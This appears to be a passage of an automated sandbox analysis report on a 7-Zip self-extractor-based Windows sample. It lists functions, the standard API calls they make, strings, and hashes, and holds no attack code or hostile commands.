Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID: a:@
API String ID: 635176117-3844204524
Opcode ID: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction ID: 62bb911204df67689409a0bf299a5fa733f048eefc6419992ca9e78119752425
Opcode Fuzzy Hash: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction Fuzzy Hash: 0CE09A3494A210BFEB212B24FC087DF3B549F01321F608A36FC19E21F0C3388852868A

Function 00402665 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
GetProcAddress.KERNEL32(00000000), ref: 0040267C
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

Strings

GetNativeSystemInfo, xrefs: 0040266B
kernel32, xrefs: 00402670

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: AddressInfoLibraryLoadNativeProcSystem
String ID: GetNativeSystemInfo$kernel32
API String ID: 2103483237-3846845290
Opcode ID: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction ID: 08739c12cb3b948957cf2c0406c7fd7347f4194bf9f07d28511d247575205d7a
Opcode Fuzzy Hash: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction Fuzzy Hash: AAD05EB0A0520576CB00ABB15D0E9EB7AEC5A48608B144461A806F00C5EAADDD90C36A

Function 00416891 Relevance: 7.6, APIs: 5, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(00000000,?,00000020,00010000), ref: 004168E8
memmove.MSVCRT(00000000,?,00000020,?,00010000), ref: 0041697F
??3@YAXPAX@Z.MSVCRT(00000000), ref: 0041698B

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-0
Opcode ID: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction ID: 6694c7cce515cef0b0cd55d5e6bb9cb7435d9f647c4cb47c4d4af15ebe31c866
Opcode Fuzzy Hash: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction Fuzzy Hash: 2D41CEB1A10204ABDB20DE65C941BFFB7B9EF44704F16446EE845A7241D738EE81CBA9

Function 00404D0B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32(00000000,?,?), ref: 00404D17

Part of subcall function 00402427: GetUserDefaultUILanguage.KERNEL32(00404D27,?,?), ref: 00402431

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(0051A408,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(0051A408), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
Part of subcall function 0040247D: _wtol.MSVCRT ref: 0040260A
Part of subcall function 0040247D: MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,0051A408,00000002), ref: 0040262A

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
wsprintfW.USER32 ref: 00404DB8

Part of subcall function 004035CF: ??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Strings

7zSfxFolder%02d, xrefs: 00404DB2

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d
API String ID: 3387708999-2820892521
Opcode ID: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction ID: 1fdf757244b44e0294be47ca2d8d1062c2b35c8cdb495cdfc6011dfc87a7cf41
Opcode Fuzzy Hash: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction Fuzzy Hash: 8F317CB1A112089ECB11FFB2DD8AEEE7BA8AF44305F00403FA559A61E1EB784545CB59

Function 0040B2B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2C3
memmove.MSVCRT(00000000,?,?), ref: 0040B2E0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2F1

Strings

hA, xrefs: 0040B2B2

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@??3@memmove
String ID: hA
API String ID: 3828600508-1221461045
Opcode ID: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction ID: d87302abea443053d5760b5c6252bf4bae7be4f47644660215ecec497c7fda62
Opcode Fuzzy Hash: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction Fuzzy Hash: BEF0B4B66006005BC2209B1B9C9485BB7E9EFC9700704887FE92ED3700D334FC54C6AE

Function 00402EE4 Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F16
lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F1E
memcmp.MSVCRT(00000000,?,?), ref: 00402F84
memcmp.MSVCRT(00000000,?,?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FC1
memmove.MSVCRT(?,?,00000000,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FF3

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction ID: 79ec95c0005fca4e8b411a1d1c8c43267f3aca6e0e8108953f5cc2358a2b563c
Opcode Fuzzy Hash: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction Fuzzy Hash: 9B417072D0120AAFCF01DFA4C9849EEBFB9EF48384F0444AAE805B3245D3759E85DB55

Function 004019D2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,0041E9E8,ExecuteFile,00000028,00000028,?,00406D79,?,0041E9E8,0041E9E8), ref: 004019DF
??2@YAPAXI@Z.MSVCRT(0000000C), ref: 00401A23
??2@YAPAXI@Z.MSVCRT(00000044), ref: 00401A7B

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Strings

ExecuteFile, xrefs: 004019D7

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@$FormatMessagelstrcpylstrlen$??3@ErrorFreeLastLocalwvsprintf
String ID: ExecuteFile
API String ID: 1592922708-323923146
Opcode ID: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction ID: c177ff4ec49e1bf3251047196a645ec591425be599670d09217b52daf662347d
Opcode Fuzzy Hash: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction Fuzzy Hash: 3D31A075701204BFCB10DBA6CC85DAF77A9EF85314724486FF405EB2A1DA789D80CB69

Function 00401880 Relevance: 6.1, APIs: 4, Instructions: 100
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,0040133C,00000000,00000000,?), ref: 004018C4
WaitForSingleObject.KERNEL32(000000FF,?,00401AE1,?,?), ref: 004018E5

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction ID: 75a92c2673557d9aa231ca5611e15780e437056db76e39d6c0de200791827833
Opcode Fuzzy Hash: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction Fuzzy Hash: 143124F5640200BAEB315B16DC55ABB3769EB84350F24813BF905FA2F0C6788981D72E

Function 00414DCF Relevance: 4.9, APIs: 3, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00414DD8
??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 00414F76
??2@YAPAXI@Z.MSVCRT(00000038,00000000,00000001), ref: 00415049

Part of subcall function 00415346: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,0041505A,00000000,00000001), ref: 0041536E

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@$H_prolog
String ID:
API String ID: 3431946709-0
Opcode ID: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction ID: 05c66da844a657c6192dd0360cb768692f443836589bcaaccfb39479f9247554
Opcode Fuzzy Hash: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction Fuzzy Hash: 5AF12871600609DFCB14DF69C884AEE7BB4BF88314F14415AF8199B351DB39ED82CB98

Function 00403F89 Relevance: 4.7, APIs: 3, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 00402665: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
Part of subcall function 00402665: GetProcAddress.KERNEL32(00000000), ref: 0040267C
Part of subcall function 00402665: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

??3@YAXPAX@Z.MSVCRT(0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404117
??3@YAXPAX@Z.MSVCRT(?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 0040411F
??3@YAXPAX@Z.MSVCRT(?,?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404127

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
String ID:
API String ID: 1642057587-0
Opcode ID: dc175487ef40364bcc757993a9980485560a2292d3fee742de20c5e66277a851
Instruction ID: 9e508ec73b50e54c44e6a1cbebbe2d332481b03b5bec8f58460c8bd0d041dc66
Opcode Fuzzy Hash: dc175487ef40364bcc757993a9980485560a2292d3fee742de20c5e66277a851
Instruction Fuzzy Hash: 9B515AB2D00109AACF01EFD1CD859FEBB7AAF48308F04442AF611B21D1D7799A4ADB59

Function 00415EEA Relevance: 4.6, APIs: 3, Instructions: 114COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415EEF

Part of subcall function 00418390: _EH_prolog.MSVCRT ref: 00418395

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00415F9F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00415FDE

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction ID: ee2028b182a3def668edec6c1c55fa530388cf6d31d76bb4d9d5585ab1c54ad5
Opcode Fuzzy Hash: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction Fuzzy Hash: 3C414E3160020ADFCB11DFA5C895AEEBBB8EF84304F14446EF406A7251DB79AD86CB15

Function 004029C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004029E9

Strings

@, xrefs: 004029DC

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction ID: ac6f2177cda35d3747c738f0166e8eeafa9c669c636109ee84ed785ee5894a61
Opcode Fuzzy Hash: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction Fuzzy Hash: 05F0C8B1B242049ADF71A775DA4DB9E77E4BB04358F10453BD402F61C1EBB8D8448A0D

Function 004180FF Relevance: 3.2, APIs: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 00416224: _CxxThrowException.MSVCRT(?,0041C8F8), ref: 0041623E

??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 0041821D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 00418381

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$ExceptionThrow
String ID:
API String ID: 2803161813-0
Opcode ID: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction ID: 83b4708bc2a3ecc906b18b476579f0d6f6f5e7f9de80452c7b562753e21decce
Opcode Fuzzy Hash: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction Fuzzy Hash: 50815831A00609AFCB24DFA5C891AEEBBF1FF08314F14456EE955A3351DB39A981CB58

Function 004011B7 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction ID: 4976e3025a107b63499e13e7bd885c103cda5e9e62e117b5f23361b6eed5d2a5
Opcode Fuzzy Hash: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction Fuzzy Hash: 65F08C36210611ABC324DF6DC59186BB3E4FB88351720883FE6DBD72A1DA35A8918754

Function 0040122A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401246
SendMessageW.USER32(00008001,00000000,?), ref: 0040129F

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction ID: 952f35bfd535ad09d3a1e6728af904cc40037fdc81ed9fa17bdc1f07510a46f8
Opcode Fuzzy Hash: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction Fuzzy Hash: 3F016DB4611208ABEB94DB52DC45F9A77A9AB01714F10807EFD00FA1F0C7B9A9808B1D

Function 00402805 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402815
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402839

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction ID: bcdea4c81718d913e52e4f2a3d02f3e10d2d0235028ef0e1c46e76d630642e7e
Opcode Fuzzy Hash: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
